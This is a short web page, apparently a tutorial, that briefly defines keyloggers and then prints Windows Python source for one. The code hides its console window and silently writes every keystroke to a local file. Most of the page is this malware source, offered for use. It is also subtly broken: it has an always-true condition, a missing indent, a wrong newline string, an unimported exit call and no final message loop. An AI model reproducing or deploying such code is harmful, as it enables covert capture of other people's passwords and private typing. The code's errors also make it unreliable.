Key Logger in Python [Code]

 WHAT IS A KEYLOGGER?

Keyloggers are a type of monitoring software designed to record keystrokes made by a user. One of the oldest forms of cyber threat, these keystroke loggers record the information you type into a website or application and send to back to a third party!

You have to wait 15 seconds.

Python Key Logger Code

# For Windows OS
import win32api
import win32console
import win32gui
import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):
	if event.Ascii==5:
		_exit(1)
	if event.Ascii !=0 or 8:
	#read current keystrokes
		f = open('c:\output.txt', 'r+')
		buffer = f.read()
		f.close()
	# write current + new keystrokes
		f = open('c:\output.txt', 'w')
		keylogs = chr(event.Ascii)
		if event.Ascii == 13:
		keylogs = '/n'
		buffer += keylogs
		f.write(buffer)
		f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
